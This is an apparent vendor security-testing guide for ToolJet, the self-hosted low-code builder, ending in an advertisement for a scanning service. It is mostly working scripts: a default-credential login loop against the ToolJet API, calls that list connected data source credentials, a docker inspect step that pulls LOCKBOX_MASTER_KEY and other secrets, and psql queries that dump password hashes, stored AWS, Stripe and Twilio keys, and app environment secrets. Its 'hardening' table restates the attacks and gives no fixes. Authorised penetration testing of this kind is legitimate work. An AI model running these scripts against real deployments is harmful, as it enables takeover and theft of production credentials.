ToolJet Security Testing: Default Credentials, API Key, Database, and Low-Code Platform

ToolJet is a widely deployed self-hosted low-code application builder — organizations use it to build internal tools that connect to production databases, APIs, and cloud services. Key assessment areas: ToolJet stores credentials for all connected data sources (production databases, AWS, Stripe, Twilio, etc.) in its own database; the admin account can read all data source credentials; ToolJet encrypts stored credentials using LOCKBOX_MASTER_KEY — losing this key or exposing it compromises all stored credentials; and environment variables for app builders can include production API keys. This guide covers systematic ToolJet security assessment.

Table of Contents

  1. Default Credential Testing and JWT Access
  2. Data Source Credential Enumeration
  3. PostgreSQL Database and LOCKBOX_MASTER_KEY Extraction
  4. ToolJet Security Hardening

Default Credential Testing and JWT Access

# ToolJet — default credential testing and JWT access
TJ_URL="https://tools.example.com"

# ToolJet common default credentials
for CRED in "admin@example.com:admin" "admin@tooljet.io:password" "dev@example.com:password123"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  RESULT=$(curl -s -X POST "${TJ_URL}/api/v2/login" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"${EMAIL}\",\"password\":\"${PASS}\"}" 2>/dev/null)
  echo "$RESULT" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('auth_token') or d.get('token'):
    token = d.get('auth_token') or d.get('token','')
    print(f'SUCCESS: ${EMAIL}/${PASS}')
    print(f'  token: {str(token)[:30]}...')
    print(f'  workspace: {d.get(\"current_organization_id\")}')
elif d.get('statusCode') == 401:
    print(f'FAIL: invalid credentials')
else:
    print(f'Response: {str(d)[:80]}')
" 2>/dev/null
done

# Get current user info with token
TJ_TOKEN="your-tooljet-token"
curl -s "${TJ_URL}/api/users/me" \
  -H "Authorization: Bearer ${TJ_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"email\")} name={d.get(\"first_name\")} {d.get(\"last_name\")}')
print(f'role={d.get(\"role\")} admin={d.get(\"admin\")}')
" 2>/dev/null

Data Source Credential Enumeration

# ToolJet — data source credential enumeration
TJ_URL="https://tools.example.com"
TJ_TOKEN="your-tooljet-token"

# List all data sources and their configurations
curl -s "${TJ_URL}/api/v2/data_sources" \
  -H "Authorization: Bearer ${TJ_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
sources = d if isinstance(d, list) else d.get('data_sources',[])
print(f'Data sources: {len(sources)}')
for ds in sources:
    print(f'  [{ds.get(\"id\")}] {ds.get(\"name\")} type={ds.get(\"kind\")}')
    # options may contain connection details
    opts = ds.get('options',{})
    for k, v in opts.items():
        # Check for plaintext credential fields
        if isinstance(v, dict) and v.get('encrypted') == False:
            print(f'    PLAINTEXT {k}: {str(v.get(\"value\",\"\"))[:50]}')
        elif any(x in k.lower() for x in ['host','port','database','db']):
            print(f'    {k}: {str(v)[:60]}')
" 2>/dev/null

# Get specific data source details including connection options
DS_ID="datasource-uuid"
curl -s "${TJ_URL}/api/v2/data_sources/${DS_ID}" \
  -H "Authorization: Bearer ${TJ_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'DS: {d.get(\"name\")} kind={d.get(\"kind\")}')
for k, v in d.get('options',{}).items():
    print(f'  {k}: {str(v)[:80]}')
    # Encrypted fields have {\"encrypted\":true,\"value\":\"CIPHERTEXT\"}
    # Unencrypted fields have {\"encrypted\":false,\"value\":\"PLAINTEXT\"}
" 2>/dev/null

# Test data source query execution — runs queries against connected databases
curl -s -X POST "${TJ_URL}/api/v2/data_sources/${DS_ID}/test_connection" \
  -H "Authorization: Bearer ${TJ_TOKEN}" \
  -H "Content-Type: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Connection test: {d}')
" 2>/dev/null

PostgreSQL Database and LOCKBOX_MASTER_KEY Extraction

# ToolJet PostgreSQL database and LOCKBOX_MASTER_KEY extraction

# Docker environment — critical secrets
docker inspect tooljet 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['PG_','TOOLJET','SECRET','LOCKBOX','SMTP','REDIS','DB_']):
            print(e)
" 2>/dev/null
# LOCKBOX_MASTER_KEY — AES-256 key used to encrypt all data source credentials
# SECRET_KEY_BASE — Rails secret key base for session signing
# PG_USER, PG_PASS, PG_DB — ToolJet PostgreSQL credentials
# SMTP_PASSWORD — email delivery password
# TOOLJET_DB_URL — full database connection string with credentials

# PostgreSQL — ToolJet database
psql -h localhost -U tooljet -d tooljet 2>/dev/null << 'EOF'
-- All users
SELECT id, email, first_name, last_name,
       role, admin, status,
       encrypted_password,
       created_at
FROM users
ORDER BY admin DESC, created_at;
EOF

-- All data sources with encrypted credential options
psql -h localhost -U tooljet -d tooljet 2>/dev/null << 'EOF'
SELECT ds.id, ds.name, ds.kind,
       ds.options::text as options_json
       -- options JSON: {"field_name":{"encrypted":true/false,"value":"..."}}
       -- encrypted=false: plaintext credential visible here
       -- encrypted=true: decryptable with LOCKBOX_MASTER_KEY
FROM data_sources ds
ORDER BY ds.created_at DESC;
EOF
-- PostgreSQL data sources: host, port, database, username
-- AWS data sources: access_key_id, secret_access_key, region
-- Stripe: secret_key (live sk_live_...)
-- Twilio: account_sid, auth_token

-- App environment variables
psql -h localhost -U tooljet -d tooljet 2>/dev/null << 'EOF'
SELECT ae.app_id, ae.key, ae.value,
       ae.is_client_side
FROM app_environments_variables ae
ORDER BY ae.app_id, ae.key;
EOF
-- Contains: production API keys, database URLs, feature flags stored per app

ToolJet Security Hardening

ToolJet Security Hardening Checklist:
Security TestMethodRisk
Default credential testing and admin JWT acquisitionPOST /api/v2/login with admin@example.com/admin — JWT token for admin access; all data sources readable and queryable; all app configurations accessible; user management capabilitiesCritical
Data source credential enumerationGET /api/v2/data_sources — all connected system credentials; PostgreSQL/MySQL passwords, AWS access keys, Stripe secret keys, Twilio tokens; options JSON with encrypted=false fields in plaintextCritical
LOCKBOX_MASTER_KEY extraction from Docker environmentDocker inspect env vars — AES-256 master key decrypts all encrypted data source credentials; SECRET_KEY_BASE for session token forgery; PG_PASS for database accessCritical
PostgreSQL data_sources table credential extractionSELECT options FROM data_sources — all connection strings and API keys; encrypted=true fields decryptable with LOCKBOX_MASTER_KEY; plaintext fields directly readableCritical
App environment variable secret enumerationSELECT key, value FROM app_environments_variables — production API keys, database URLs, feature flags; client-side variables exposed in browser without authenticationHigh

Automate ToolJet Security Testing

Ironimo tests ToolJet deployments for default credential testing (admin@example.com/admin), data source credential enumeration including plaintext field extraction, LOCKBOX_MASTER_KEY Docker environment variable exposure, PostgreSQL data_sources encrypted credential assessment, app environment variable secret scanning, SECRET_KEY_BASE session token forgery assessment, SSO misconfiguration testing, workspace user enumeration, data source connection test abuse, and query execution against connected databases via the ToolJet API.

Start free scan